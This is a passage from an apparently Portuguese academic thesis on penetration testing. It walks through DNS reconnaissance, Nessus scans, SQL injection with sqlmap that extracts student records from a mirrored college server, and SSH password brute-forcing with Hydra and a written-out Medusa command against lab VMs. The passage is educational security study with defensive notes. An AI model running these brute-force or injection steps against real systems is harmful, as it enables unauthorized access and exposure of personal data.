O resultado da execução da ferramenta snmpcheck mostrou o quanto pode
ser arriscado manter um serviço snmp ativo em uma estação. Portanto, este
protocolo deve ser utilizado com muita atenção pelo administrador de redes.
Outra ferramenta que pode ser utilizada para recuperar versões de serviços é
o telnet. Na figura 1.15, é apresentado o funcionamento do comando telnet contra o
alvo que possui o Linux Ubuntu instalado, com o IP 192.168.0.6, e é especificado a
porta 80 para indicar que se deseja buscar a versão do servidor web. Após digitar o
comando telnet 192.168.0.6, deve-se digitar o comando GET /HTTP1.0, para que as
informações sobre o servidor web sejam buscadas.
Figura 1.15 – Comando telnet Fonte: Elaborada pelos autores, 2013
Por meio da figura 1.15, é possível notar que a versão do apache foi
recuperada.
29
As ferramentas utilizadas para a detecção de versões de roteadores em uma
rede também pode ser considerada uma técnica avançada de varredura. Para a
captura de informações deste tipo de equipamento, a ferramenta amap pode ser
utilizada. Na figura 1.16, é apresentado o funcionamento do comando amap –b
contra um roteador que utiliza o IP 192.168.0.1.
Figura 1.16 – Comando amap –b Fonte: Elaborada pelos autores, 2013
O comando amap exibe um roteador TP-LINK modelo WR741ND com uma
interface web executando na porta 80.
Neste capítulo foram abordados os tópicos: Metodologia para teste de
penetração, tipos de teste de penetração para varreduras e Ferramentas para
varreduras. O tópico sobre a metodologia para teste de penetração aborda os
procedimentos realizados por Hackers e pelo Pentest, para a realização de ataques.
O tópico sobre os tipos de teste de penetração abordam as diferentes formas de se
realizar um ataque, e deixa claro que quando um ataque é realizado utilizando um
dos tipos definidos, é possível medir o impacto do ataque. Por fim, o tópico sobre as
ferramentas para varreduras aborda ferramentas de varreduras em servidores DNS,
ferramentas de varreduras para rastreamento de portas e ferramentas de varreduras
avançadas.
30
2 TESTE DE PENETRAÇÃO EM SERVIDOR DNS
Como citado anteriormente, o objetivo deste trabalho é a realização de testes
de penetração em um ambiente real. Desse modo, neste capítulo, foram realizados
testes de penetração em um servidor DNS com configurações idênticas ao servidor
DNS que atualmente é usado pela Faculdade de Tecnologia de Lins. O sistema
operacional no qual o servidor DNS está instalado é o Freebsd e, para a realização
dos testes, ambos foram instalados e configurados em uma máquina virtual, para
que não se corra o risco de se prejudicar o servidor em produção. Devido ao fato de
que o foco deste trabalho é a realização do teste de penetração por meio de
ferramentas disponíveis no Linux backtrack, a etapa de coleta de informações não
foi abordada. Desse modo, o teste de penetração foi iniciado na etapa de varreduras
de sistema.
2.1 Servidor DNS
Segundo Engebretson (2011), servidores DNS são alvos bastante cobiçados,
pois este tipo de servidor geralmente contém informações muito valorizadas pelos
atacantes. Os servidores DNS tem a função de traduzir nomes de domínios em
endereços IP, pois para os usuários, é muito mais fácil lembrar o nome
“Google.com”, do que http://74.125.95.105.
Para que alguns serviços funcionem na rede, os mesmos devem ter seus
nomes de domínios registrados em arquivos de configuração do servidor DNS, como
é o caso do serviço de email. (ENGEBRETSON, 2011)
O fato de existir registros de endereços IP e nomes de servidores da rede em
arquivos de configuração do servidor DNS, é um dos motivos no qual é muito
importante que testes de penetração sejam realizados neste tipo de servidor, a fim
de torná-lo mais seguro, pois caso um indivíduo mal intencionado consiga obter
controle total do servidor DNS de uma empresa, ele terá acesso a endereços IP de
servidores que residem na rede do servidor DNS alvo, e o elemento chave que um
hacker precisa para atacar um alvo, é o próprio endereço IP. (ENGEBRETSON,
2011).
31
2.1.1 Extração de informações do servidor DNS
Nesta seção são mostradas as ferramentas nslookup e dig, ambos podem ser
utilizados para a realização de consultas em servidores DNS. A primeira ferramenta
a ser apresentada neste capítulo é a ferramenta nslookup. Segundo Engebretson
(2011), para que esta ferramenta possa ser utilizada, ela deve ser iniciada por meio
do comando nslookup, que deverá ser digitado no terminal.
Ao realizar uso da ferramenta nslookup, é possível especificar o tipo de
registro no qual se procura, o que é muito útil uma vez que existem muitos tipos de
registros e o atacante pode estar interessado em apenas parte deles. Portanto,
quando se procura por informações gerais sobre o servidor DNS, deve-se utilizar o
comando set type=any e logo em seguida informar o alvo no qual se pretende
consultar. (ENGEBRETSON, 2011)
Na figura 2.1, é mostrado o uso do comando set type=any e é indicado o
domínio da Fatec de Lins, pois é a única informação que se tem neste início da
etapa de varredura de sistema.
Figura 2.1 – Comando set type=any Fonte: Elaborada pelos autores, 2013
Por meio da consulta foi possível identificar o nome do servidor DNS,
tucunare.fateclins.edu.br, e informações de configuração do servidor DNS como:
Serial, valor que indica a versão de um dos arquivos de configuração do servidor
32
DNS. Este valor deve ser incrementado toda vez que houver modificação no arquivo,
para que os servidores secundários saibam que houve modificação e também
atualizem sua tabela. Refresh, tempo que determina a freqüência com que os
servidores secundários consultarão o servidor primário (este servidor) para verificar
se as tabelas mudaram. Retry, tempo no qual um servidor secundário deve
aguardar antes que uma atualização falha sofra nova tentativa. Expire, tempo que
pode decorrer até que o servidor secundário considere seus dados desatualizados,
sem fazer uma atualização. Minimum, tempo que um Servidor DNS qualquer, que
fez uma consulta a esse servidor, pode manter um registro em seu cache.
Também é possível perceber que na rede da Fatec não existe nenhum
servidor de email em funcionamento, e a instituição atualmente utiliza o serviço de
email da Google. Sendo assim, o próximo passo realizado foi uma consulta menos
abrangente e, para isso, o comando set type=mx, que segundo Engebretson
(2009), permite que apenas informações sobre o serviço de email sejam
recuperadas, foi utilizado. Na figura 2.2, é mostrado o funcionamento do comando
set type=mx, e é indicado o domínio da Fatec de Lins novamente.
Figura 2.2 – Comando set type=mx Fonte: Elaborada pelos autores, 2013
No resultado apresentado pela figura 2.2, pode-se perceber que apenas
informações relacionadas ao serviço de email utilizado pela Fatec foram retornadas.
Segundo Wilhelm (2010), a ferramenta nslookup permite que o comando set
type=soa seja utilizado para buscar informações detalhadas sobre um servidor DNS.
Na figura 2.3, é mostrado o funcionamento do comando set type=soa em
fateclins.edu.br.
33
Figura 2.3 – Comando set type=soa em fateclins.edu.br Fonte: Elaborada pelos autores, 2013
No resultado da consulta, pode-se observar que informações detalhadas
apenas sobre o servidor DNS foram reveladas.
Após ter realizado testes com recursos de consulta da ferramenta nslookup,
novas consultas serão realizadas com a ferramenta dig. Segundo Wilhelm (2010), a
ferramenta dig pode ser utilizada não só para recuperar o nome do servidor
dominante em uma rede, mas também para recuperar nome de outros servidores da
rede alvo.
Na figura 2.4, é apresentado o resultado da execução da ferramenta dig
contra o domínio fateclins.edu.br.
Figura 2.4 – Comando dig em www.fateclins.edu.br Fonte: Elaborada pelos autores, 2013
34
Ao executar a consulta, a informação considerada importante para o teste de
penetração que foi recuperada é o nome do servidor web que atua na rede e seu
respectivo IP. Por meio desta consulta realizada na rede da Fatec de Lins, foi
possível identificar apenas um servidor web na rede e, para mostrar a diferença do
resultado da execução da ferramenta dig, quando executada em uma rede que
possui mais servidores web atuando na rede, na figura 2.5 é mostrada a execução
da ferramenta dig contra o domínio google.com.
Figura 2.5 – Comando dig em google.com Fonte: Elaborada pelos autores, 2013
Na figura 2.5, é possível notar que a estrutura para o domínio Google.com
possui mais servidores atuando em sua rede do que a estrutura para o domínio
fateclins.edu.br. Com os nomes dos servidores retornados, com seus respectivos
IPs, seria possível realizar varreduras e ataques em cada um destes servidores.
Na consulta realizada a seguir, o objetivo é recuperar a versão do Berkeley
Internet Name Domain (BIND), software responsável pelo funcionamento do serviço
DNS em um servidor. Segundo Wilhelm (2010), obter a versão do BIND pode ser
muito importante para a realização da intrusão, pois dessa forma, será possível
realizar pesquisas sobre exploits desenvolvidos para ganhar acesso por meio deste
tipo de serviço. Segundo o autor, quanto mais antiga for a versão do BIND, maiores
são as chances de encontrar vulnerabilidades e exploits.
Segundo Valle e Ulbrich (2004), exploits são scripts desenvolvidos para
explorar vulnerabilidades em sistemas. Existem vários tipos de exploits e, para cada
35
tipo, existe uma forma diferente de execução. Alguns deles, para funcionar, é
necessário que o atacante tenha acesso ao interpretador de comandos da estação
alvo, e outros servem justamente para conseguir acesso ao interpretador de
comandos. Segundo os autores, programas de computador são projetados para
utilizar determinada área limitada de memória e, quando esta área de memória fica
cheia, programas mal projetados passam a ter instabilidades e podem até ser
abortados pelo sistema operacional. Desse modo, este tipo de problema é
exatamente o que alguns exploits objetivam causar nos programas, pois quando um
programa é abortado, o sistema operacional pode disponibilizar o interpretador de
comandos.
Na figura 2.6, é apresentado o funcionamento da ferramenta dig contra o
servidor DNS da rede da Fatec.
Figura 2.6 – Comando dig em tucunare.fateclins.edu.br Fonte: Elaborada pelos autores, 2013
No resultado apresentado pela figura 2.6, é possível notar que a versão do
BIND foi recuperada. Assim, o próximo passo foi a utilização de uma ferramenta
chamada Nessus, para se verificar vulnerabilidades no servidor DNS.
2.1.2 Verificação de vulnerabilidades
Segundo Ulbrich e Valle (2004), o Nessus é um software para verificação de
vulnerabilidades em servidores. Sendo assim, neste capítulo, este software foi
utilizado para varreduras no servidor DNS da Fatec Lins.
36
Ao se fazer uso da ferramenta, foram apresentadas informações sobre portas
abertas, serviços em funcionamento e suas vulnerabilidades, classificando-as em
Low (Baixa), Medium (Média), High (Alta) e Critical (Crítica). A ferramenta também
foi capaz de mostrar se existem exploits disponíveis para possíveis vulnerabilidades
detectadas. Para que não houvesse risco, os testes não foram feitos no servidor em
produção, desse modo, as funcionalidades do Nessus foram colocados a prova em
um servidor DNS espelho da Fatec Lins instalado em uma máquina virtual.
Na figura 2.7, é mostrada a lista de vulnerabilidades, informações e serviços
detectados sobre o alvo.
Figura 2.7 – Informações e vulnerabilidades e suas classificações Fonte: Elaborada pelos autores, 2014
De acordo com os resultados obtidos, é possível notar que foram capturadas
22 vulnerabilidades, porém, apenas as duas vulnerabilidades que oferecem mais
37
riscos são consideradas. As vulnerabilidades de nível médio e crítico foram as
únicas exploradas, pois são as mais suscetíveis a intrusão.
Na figura 2.8, é apresentada a descrição da vulnerabilidade média, se há
exploits disponíveis e é sugerida a solução.
Figura 2.8 – Informações da vulnerabilidade média detectada Fonte: Elaborada pelos autores, 2014
Ao verificar as informações apresentadas, nota-se que a vulnerabilidade se
trata do comando monlist ativado na versão do Network Time Protocol (NTP) do host
remoto. Com este comando ativo, uma lista dos usuários conectados recentemente
poderá ser recuperada, e um ataque de negação de serviço poderá ser realizado.
38
Também são mostradas as soluções indicadas para a correção da
vulnerabilidade, que seriam a atualização da versão do NTP ou a desabilitação do
comando no arquivo ntp.conf.
Nota-se também que existe exploit disponível e, por meio de pesquisas, foi
possível se chegar ao exploit denominado ntp-monlist.ns e, através de seu uso, foi
possível recuperar os ips dos hosts conectados recentemente ao servidor. Na figura
2.9, é apresentado o funcionamento do exploit e os dados recuperados.
Figura 2.9 – Comando e dados recuperados através do exploit ntp-monlist.nse Fonte: Elaborada pelos autores, 2014
Com o resultado obtido por meio da execução do exploit, foi possível se
chegar ao entendimento de que o exploit disponível para a vulnerabilidade tem como
objetivo recuperar dados sobre as últimos hosts que acessaram o servidor, para
uma possível elaboração de um ataque de negação de serviço. Segundo Ulbrich e
Valle (2004), o ataque de negação de serviço consiste na infecção de uma grande
quantidade de hosts, que são comandados por um mestre e este tipo de ataque
objetiva fazer com que determinado serviço pare de funcionar, por meio de
solicitações falsas dos hosts infectados. Portanto, concluiu-se que o exploit
disponível não é útil para o ganho de acesso ao sistema e, desse modo, não foi
possível avançar para a etapa de ganho de acesso para esta vulnerabilidade.
A vulnerabilidade crítica é o maior nível de alerta que o Nessus gera, ela
ganha destaque por sua cor vermelha e por estar no topo da lista. Na figura 2.10 é
apresentada sua descrição e solução.
39
Figura 2.10 – Informações da vulnerabilidade crítica detectada Fonte: Elaborada pelos autores, 2014
Observada as informações apresentadas, nota-se que a vulnerabilidade é
constada devido a versão desatualizada do sistema operacional, pois desse modo o
sistema deixa de receber novos pacotes de segurança. Portanto, a solução também
apresentada pelo software, é a atualização do sistema para a última versão.
Embora uma vulnerabilidade de nível alto tenha sido detectada, o software
não indicou a existência de um exploit para que se realize um acesso remoto
indevido ou que leve a um comprometimento do sistema. Devido a este fato, a etapa
de ganho de acesso ao sistema não foi colocada em prática, pois um ataque a um
servidor com essas características deve envolver um estudo mais aprofundado de
ferramentas de ataque e da própria rede alvo.
2.1.3 Ferramenta de Defesa para Testes de Penetração
Segundo Ulbrich e Valle (2004), os softwares IDS detectam varreduras e
geram arquivos de logs com o objetivo de identificar ataques. Dessa maneira,
podem ser muito úteis na detecção de varreduras mal intencionadas.
40
Neste capítulo, para demonstrar a maneira na qual um IDS pode ser útil na
detecção de intrusão, o IDS Suricata foi instalado e configurado no servidor alvo.
Este tipo de IDS foi desenvolvido para detectar intrusões em redes.
Na figura 2.11, são apresentados os dados gerados pelo Suricata, no
momento em que uma varredura é realizada com a ferramenta Nessus, por meio do
Linux Backtrack com IP 10.0.0.2, no servidor alvo com IP 10.0.0.1.
Figura 2.11 – Detecção de varredura Nessus Fonte: Elaborada pelos autores, 2014
Por meio do log gerado, foi possível identificar o ip do host que realizou a
varredura e o software utilizado. Sendo assim, em uma situação real, o arquivo de
log permitiria que o administrador de redes identificasse e tomasse uma atitude com
relação aos dados gerados pelo log. Uma atitude válida seria a realização do
bloqueio de solicitações que tem como origem este IP.
Neste capítulo foi abordado o teste de penetração no servidor DNS da
Faculdade de Tecnologia de Lins que ficou subdividido nas etapas: extração de
informações do servidor DNS e verificação de vulnerabilidades. E também foi citado
um software de defesa para testes de penetração. Na etapa de extração de
informações, diversas informações foram recuperadas por meio de ferramentas do
Linux Backtrack, fazendo-se uso apenas do domínio utilizado pela faculdade. Na
etapa de verificação de vulnerabilidades, o Nessus foi usado para a detecção, e foi
possível notar que as vulnerabilidades presentes no servidor não são de extrema
importância. Por fim, foi apresentado um software para detecção de varreduras, e
como utilizá-lo.
41
3 TESTE DE PENETRAÇÃO EM SERVIDOR WEB
Este capítulo aborda o teste de penetração no servidor e aplicação web
atualmente utilizado pela Faculdade de Tecnologia de Lins. O sistema operacional
utilizado atualmente é o Freebsd e, para que não houvesse danos no servidor em
produção, um servidor com configurações idênticas ao servidor utilizado pela Fatec
foi instalado e configurado em uma máquina virtual.
3.1 SERVIDOR E APLICAÇÃO WEB
Segundo Pauli (2014), uma aplicação web é um software baseado em web
que permite que usuários façam uso de suas funcionalidades para realizar ações
como compras, acesso a bancos, emails e arquivos. Para o autor, um servidor web é
um software desenvolvido para executar em sistemas operacionais que são usados
em servidores, para permitir conexões em aplicações web. Exemplos de servidores
web são: o Internet Information Services (IIS) para Windows, e o servidor Hypertext
Transfer Protocol (HTTP) Apache, desenvolvido para executar em sistemas Unix-
like, tais como o Linux e o FreeBSD.
De acordo com Pauli (2014), o servidor web foi projetado para servir usuários
e suas solicitações de maneira que não estejam na mesma rede, se tornando um
alvo em potencial para ataques. Com falhas de atualizações ou configurações
indevidas, um sistema inteiro pode ser comprometido. Existem muitas maneiras de
se atacar um servidor web, porém o ataque escolhido para o trabalho é um dos mais
antigos e prejudiciais, o Sql Injection.
Para Pauli (2014), o Sql injection, apesar de seus mais de 15 anos de
surgimento, ainda é o que mais oferece risco para servidores e aplicações web. O
ataque através desse método consiste em utilizar entradas maliciosas que são
processadas pelo servidor, expondo dados confidenciais como senhas e
documentos, também, podendo conseguir executar comandos para que o servidor
se comporte da maneira que o atacante quiser.
Nos próximos itens desde capítulo serão apresentados métodos para o
possível acesso e também os resultados obtidos no ataque efetuado no servidor
web da Fatec de Lins.
42
3.1.1 ATAQUE SQL INJECTION
O ataque começa com uma varredura de vulnerabilidades com o software
Vega, também incluso no pacote de ferramentas do BackTrack. O Vega é um
escaner de vulnerabilidades próprio para servidores web e web sites, por isso seu
uso e não ao Nessus, como anteriormente. Pode ser acessado através da estrutura
de menu Acessories - BackTrack - Vulnerability Assessment - Web Application
Assessment - Web Vulnerability Scanners - Vega. Pode-se ver a tela inicial do
Vega na figura 3.1.
Figura 3.1 - Tela Inicial do software de varredura Vega. Fonte: Elaborada pelos autores - 2014
Clicando na aba file ou no ícone vermelho logo abaixo, abrirá a janela para a
inserção da url do alvo, como mostrado na figura 3.2. Lembrando que url é um
endereço virtual que, sendo convertido em um endereço IP, indica o caminho para o
que o usuário solicita.
Após inserir a url do alvo, o gatilho para iniciar a varredura é o botão finish
localizado na parte inferior esquerda também na figura 3.2. A varredura retorna
vulnerabilidades e as qualifica de acordo com suas severidades, assim como o
Nessus.
43
Na figura 3.3, é mostrado o final da varredura com todas as vulnerabilidades
capturadas, dentre elas, as possibilidades de sql injection, a vulnerabilidade
explorada no trabalho.
Figura 3.2 - Tela com url do alvo inserido. Fonte: Elaborada pelos autores - 2014
Figura 3.3 - Tela das vulnerabilidades detectadas no Servidor Web. Fonte: Elaborada pelos autores - 2014
44
Como o ataque escolhido é o Sql Injection, é necessário se obter o caminho
completo de onde está a vulnerabilidade, ou seja, url exata e um valor válido para o
identificador, pois somente com a url www.fateclins.edu.br/site não seria possível
realizar o ataque. Para conseguir essas informações, na parte esquerda da janela
existe o campo scan alerts, clique nos ícones com o símbolo de "+" e os caminhos
são exibidos até que se chegue à vulnerabilidade desejada, como é mostrado na
figura 3.4.
Figura 3.4 -Esquema de árvores até que chegue no caminho desejado. Fonte: Elaborada pelos autores – 2014
No campo Resource da figura 3.5 é mostrado que é possível recuperar a url
completa a ser utilizado no ataque.
Figura 3.5 -Caminho completo para o ataque, url + parâmetro. Fonte: Elaborada pelos autores - 2014
Com a varredura feita corretamente e em posse da url completa, o ataque
pode ser iniciado. O exploit utilizado foi o Sqlmap, também incluso no pacote de
ferramentas do BackTrack. Para executar os comandos com o sqlmap se faz
necessário estar no diretório do mesmo. O acesso pode ser feito através do terminal
com o comando cd /pentest/database/sqlmap. Com o intuito de retornar
45
todos os bancos de dados disponíveis o comando executado foi o mostrado na
figura 3.6. Os resultados obtidos com o comando são apresentados na figura 3.7.
Figura 3.6 -Comando executado para retornar todos os bancos disponíveis. Elaborada pelos autores – 2014
Figura 3.7 - Bancos de dados do servidor web. Elaborada pelos autores - 2014
Existem nove bancos de dados disponíveis ao ataque, ou seja, uma grande
fonte de informações para ações maliciosas caso um atacante mal intencionado
tenha acesso, pois foi possível visualizar senhas, usuários, dados de documentos,
dentre muitas outras informações pessoais. Por hora, a escolha foi o banco
f70675_newfatec. Sendo necessário descobrir quais tabelas existem no banco
escolhido, o comando que retorna tais informações é o mostrado na figura 3.8.
46
Figura 3.8 - Comando para recuperar as tabelas contidas no banco de dados. Fonte: Elaborada pelos autores - 2014
Nota-se que os resultados são 20 tabelas contidas nesse banco, e a tabela a
ser explorada é a tbalunos, como destacado na figura 3.9.
Figura 3.9 - Tabelas contidas no banco f70675_newBDfatec. Fonte: Elaborada pelos autores - 2014
Com a definição da tabela a ser explorada, se faz necessário recuperar as
colunas contidas nela. O comando que efetua e resulta nas colunas da tabela
tbalunos é mostrado na figura 3.10.
Figura 3.10 - Comando para recuperar colunas contidas na tabela. Fonte: Elaborada pelos autores - 2014
As colunas existentes contidas na tabela aparecem na imagem 3.11. Vale
ressaltar que nesse ponto, o atacante pode obter diversas informações pessoais,
47
inclusive senhas, pois o sqlmap possibilita com suas funcionalidades a quebra de
senhas possívelmente fracas.
Figura 3.11 - Colunas contidas na tabela tbalunos. Fonte: Elaborada pelos autores – 2014
O próximo passo é enfim conseguir os dados disponíveis nas colunas
escolhidas. Como visto na figura 3.11, é possível obter emails, endereços, celulares
e senhas, porém essas colunas não serão exploradas, devido ao sigilo de tais
informações. Portanto as colunas a serem recuperadas com seus valores serão
nomeAluno e raAluno, o comando que retorna as informações desejadas é mostrado
na figura 3.12.
Figura 3.12 - Recuperando os valores das colunas nomeAluno e raAluno. Fonte: Elaborada pelos autores - 2014
Os nomes e RAs existentes no banco f70675_newBDfatec na tabela tbalunos
e nas colunas nomeAluno e raAluno resultantes do comando, foram listados um a
um. O tempo até que o processo acabe dependerá de quantas entidades existem no
banco. Na figura 3.13, um aviso é indicado no topo da lista, [Warning] console output
will be trimmed to last 256 rows due large table size. Isso significa que se a
quantidade ultrapassar 256 linhas, somente os 256 ultimas linhas serão listados,
pois é o tamanho padrão que cabe na saída do comando. Outras maneiras de
48
recuperar todas as entidades podem ser executadas, porém não serão abordados
no trabalho. O resultado obtido no ataque é exibido na imagem 3.13. Por motivos de
privacidade o conteúdo da imagem foi borrado.
Figura 3.13- Valores das colunas nomeAluno e raAluno. Fonte: Elaborada pelos autores – 2014
O sql injection é um ataque muito eficaz, como foi evidenciado com o
processo realizado. Segundo Pauli (2014), cerca de 30% dos servidores web contam
com essa vulnerabilidade. O que é preocupante, pois em posse de informações
restritas, um hacker pode inutilizar um sistema ou usufruir dos dados recuperados
como rg, cpf para outros fins.
Segundo a OWASP, entidade que reconhecida mundialmente por contribuir
com a melhoria de segurança em softwares e aplicativos, as melhores práticas de se
prevenir de um ataque através do SQL injection são a parametrização das consultas,
usar stored procedures , tratar toda entrada fornecida pelo usuário e limitar
privilégios aos acessos. Esses métodos demandam estudos complexos sobre a
programação de banco de dados, que não serão abordados nesse trabalho por não
ser o foco do mesmo.
49
4 TESTE DE PENETRAÇÃO EM SERVIDOR VULNERÁVEL
Este capítulo foi desenvolvido com o intuito de se aprofundar a aplicação da
metodologia de teste de penetração, já que os servidores web e DNS da Fatec Lins
não apresentaram vulnerabilidades suficientes para que o teste de penetração
chegasse à etapa de ganho de acesso ao sistema. Nesta etapa, o objetivo foi a
utilização da ferramenta Nessus para a varredura em dois servidores com diversos
serviços vulneráveis e a realização de pesquisas, a partir de dados fornecidos pelo
Nessus, para que o ganho de acesso fosse realizado por meio desses serviços. As
ferramentas de ataque utilizadas estão todas presentes no Linux Backtrack.
O sistema operacional Linux RedHat versão 6.0 e o sistema operacional
Windows Server 2003 foram instalados e configurados em máquinas virtuais. Estes
sistemas se encontram vulneráveis, pois possuem serviços desatualizados em
funcionamento.
4.1 TESTES DE PENETRAÇÃO NO LINUX REDHAT
A ferramenta Nessus foi utilizada para a identificação de vulnerabilidades no
sistema Linux RedHat. Na figura 4.1, é apresentado o resultado da varredura
realizada pelo Nessus no sistema operacional vulnerável.
Figura 4.1 – Varredura utilizando Nessus Fonte: Elaborada pelos autores, 2013
50
Na figura 4.1, são apresentadas 86 vulnerabilidades identificadas pelo Nessus
e essas vulnerabilidades são classificadas nos níveis crítico, alto, médio e baixo.
Várias dessas vulnerabilidades foram identificadas em serviços como SSH e
Apache. Desse modo, o próximo passo foi a escolha de uma dessas
vulnerabilidades para a realização de uma pesquisa com foco no ganho de acesso
ao sistema.
Segundo Assunção (2002), o SSH é um software que pode ser usado para
conexão remota com criptografia dos dados e atualmente é muito usado em
sistemas Linux.
Ataques a vulnerabilidades de nível crítico possuem mais chances de serem
bem sucedidos. Desse modo, nesta seção, foram realizados ataques utilizando as
ferramentas Hydra-gtk e Medusa contra o serviço SSH. Na figura 4.3, são
apresentadas as vulnerabilidades de nível crítico presentes no serviço SSH.
Figura 4.2 – Vulnerabilidades SSH Fonte: Elaborada pelos autores, 2013
Como citado anteriormente, o serviço SSH é uma importante ferramenta para
a administração de Redes. Porém, caso este serviço esteja mal configurado ou
desatualizado, pode permitir o comprometimento do sistema por atacantes.
51
A vulnerabilidade OpenSSH <3.1 Channel Code Off by One Remote Privilege
Escalation, topo da lista, foi a primeira a ser testada. Na figura 4.4, é mostrada a
descrição da vulnerabilidade, exploit disponível para ataque e solução para a
mesma.
Figura 4.3 – Descrição Vulnerabilidade SSH Fonte: Elaborada pelos autores, 2013
A partir das informações apresentadas pelo Nessus, iniciaram-se diversas
pesquisas para o ganho de acesso ao servidor. As primeiras pesquisas foram
realizadas tendo como referência a descrição do exploit apontado pelo Nessus, e a
informação de que o exploit não se encontra em uma versão grátis foi obtida. Desse
52
modo, mais pesquisas tendo como base apenas o nome da vulnerabilidade foram
realizadas, considerando que o serviço SSH está vulnerável, encontrou-se a
possibilidade de um ataque muito utilizado por invasores, a força bruta, e a
ferramenta Hydra-gtk pôde ser testada.
A ferramenta Hydra-gtk faz parte do pacote de ferramentas do Backtrack e
sua função é recuperar senhas de usuários por meio do serviço ssh e diversos
outros protocolos, por meio de força bruta. Segundo Assunção (2002), o ataque
força bruta consiste em utilizar um programa específico que tenta realizar a conexão
com um sistema alvo, por meio de muitas combinações de senhas. Um arquivo com
milhões de senhas, denominado wordlist, pode ser utilizado, e o software irá tentar
se conectar por meio de cada senha presente no arquivo, ou o software fará uso de
recursos para gerar combinações de senhas, até que a senha correta seja
encontrada. Este ataque é um dos mais eficientes e também pode ser um dos mais
demorados, o tempo que será gasto para o ganho de acesso depende do poder de
processamento que está sendo usado no ataque.
Antes da realização do ataque, a ferramenta nmap foi utilizada para confirmar
se a porta 22, que corresponde ao serviço ssh, estava realmente aberta para
conexão. Na figura 4.5, é mostrado o resultado obtido após a execução da
ferramenta nmap contra o ip do servidor alvo 192.168.50.10.
Figura 4.4 – Comando Nmap 192.168.50.10 Fonte: Elaborada pelos autores, 2014
53
Com a porta 22 aberta e o serviço ssh em execução no alvo, o hydra foi
colocado a prova. Para acessar a ferramenta o caminho a ser seguido a partir do
desktop é, Applications - Backtrack - Privilege Escalation - Password Attacks - Online
Attacks - Hydra gtk. Na figura 4.6, é apresentada a tela inicial com o alvo
192.168.50.10 e com a porta 22 e o protocolo ssh já selecionados.
Figura 4.5 – Tela inicial do Hydra com alvo, porta e protocolo definidos Fonte: Elaborado pelos autores, 2014
A próxima etapa foi realizada na aba passwords ao definir o nome do usuário
a ser testado e o caminho do arquivo texto da wordlist. O usuário utilizado foi o root,
por ser um usuário previamente conhecido e estar presente em todas as
distribuições Linux. A wordlist utilizada está no caminho /root/wordlist13.txt. Na figura
4.7 é apresentada a inserção dos dados nos campos username e Password List.
54
Figura 4.6 – Aba passwords do Hydra com usuário e wordlist definidos Fonte: Elaborado pelos autores, 2014
Após definidas as configurações para o ataque na aba Password, deve-se
iniciar o ataque no botão start localizado na aba também identificada como Start.
Nas abas Tuning e Specific não é necessário fazer alterações.
Com todo o processo executado corretamente o resultado obtido é o
mostrado na figura 4.8. Além da senha recuperada, também é mostrada as demais
senhas contidas na wordlist que foram testadas com o usuário root até que a correta
fosse encontrada.
55
Figura 4.7 – Aba Start com os resultados obtidos e senha capturada Fonte: Elaborado pelos autores, 2014
Com a senha recuperada, o ataque está quase finalizado, faltando apenas
testar a conexão com o usuário e senha indicados pelo hydra. Na figura 4.9 é
mostrada a conexão e o acesso efetuado com sucesso utilizando o usuário "root" e a
senha "seglin".
Figura 4.8 – Demonstração do acesso realizado com sucesso Fonte: Elaborado pelos autores, 2014
56
O sucesso na conexão demonstra uma fragilidade no serviço SSH que pode
ser corrigida com uma versão atualizada do serviço, que será mostrado no item 4.3
deste capítulo, ou com a configuração que ofereça mais segurança ao sistema.
O ataque com o exploit Hydra é muito eficaz quando se sabe quais usuários
existem no servidor, ou quando o root está liberado para acesso remoto via ssh. Mas
quando não se sabe quais usuários existem no sistema, uma opção para o ataque
via ssh é a ferramenta Medusa, também disponível nas distribuições do Backtrack. O
funcionamento do Medusa é também através de força bruta, fazendo a comparação
do usuário e senha, porém com vantagem e diferencial, a opção de não saber quais
usuários o alvo possui. Utiliza também wordlists e faz a comparação de palavras
existentes testando-as como usuários e senhas, podendo usar duas listas distintas
ou apenas uma.
A ferramenta nmap já foi executada anteriormente, e mostrou a porta 22
disponível para conexão, mas para o ataque por meio da ferramenta Medusa, é
necessário se saber qual a versão do serviço SSH. Na figura 2.10, é mostrada a
execução da ferramenta NetCat para a recuperação da versão do serviço SSH.
Figura 4.9 – Comando nc 192.168.50.10 22 com a versão do serviço Fonte: Elaborado pelos autores, 2014
Ao se obter a versão do ssh atualmente utilizado pelo servidor, já se tem
todas informações necessárias para o uso da ferramenta Medusa. Existem várias
opções de sintaxes de comando para o seu uso, porém a abordada no trabalho foi o
comando medusa -M ssh m BANNER:SSH-2.0-OpenSSH_2.9.p2 -h 192.168.50.10 -
U wordlist13.txt -P wordlist13.txt | grep SUCCESS. É importante ressalvar que o
comando deve ser executado exatamente como descrito, caracteres maiúsculos e
minúsculos, caso contrário sua eficácia não será satisfatória. O tempo de espera até
que a ferramenta encontre o usuário e senha válidos depende do tamanho da
wordlist e também dos passos terem sidos efetuados com sucesso. Com todos os
passos seguidos corretamente o comando retorna algo como o apresentado na
figura 4.11, com todos os usuários e senhas encontradas na word list utilizada no
ataque.
57
Figura 4.10 – Resultados obtidos com sucesso através da ferramenta medusa Fonte: Elaborado pelos autores, 2014
Como resposta ao ataque, a ferramenta retornou os usuários "teste" e "admin"
e suas respectivas senhas "fatec" e "seglin". Em posse dos usuários e senhas, a
conexão ao servidor pode ser feita.
Nas figuras 4.12 e 4.13, são apresentadas as conexões efetuadas com
sucesso através dos usuários obtidos com a ferramenta.
Figura 4.11 – Conexão do usuário teste Fonte: Elaborado pelos autores, 2014
Figura 4.12 – Conexão do usuário admin Fonte: Elaborado pelos autores, 2014
O comando para as conexões com os usuários encontrados,
respectivamente, são ssh [email protected] e ssh [email protected]. O
usuário root não foi encontrado no ataque com a wordlist utilizada, porém a
quantidade de wordlists disponíveis para download é grande, podendo-se fazer o
ataque com outras. Mesmo com apenas o acesso como usuário comum, entrar no
servidor já se torna um passo importante para atacantes mal intencionados, pois
com acesso local ao sistema as possibilidades de ataques se multiplicam.
58
4.2 TESTES DE PENETRAÇÃO NO WINDOWS SERVER 2003
Com intuito de mostrar que as vulnerabilidades estão presentes em todas as
plataformas, também foram feitos testes de penetração no servidor com o Windows
Server em execução, com o endereço IP 192.168.50.6. Como padrão, o primeiro
passo é fazer a varredura de vulnerabilidades com o Nessus.
Na figura 4.13, são apresentadas as vulnerabilidades detectadas pelo
Nessus.
Figura 4.13 – Vulnerabilidades do servidor em execução no Windows Server 2003 Fonte: Elaborado pelos autores, 2014
Observando a figura 4.13, nota-se que a maioria das vulnerabilidades está
com o nível máximo de alerta do Nessus, ou seja, nível crítico. No entanto a
vulnerabilidade escolhida para o ataque é a MS08-067: Microsoft Windows Server
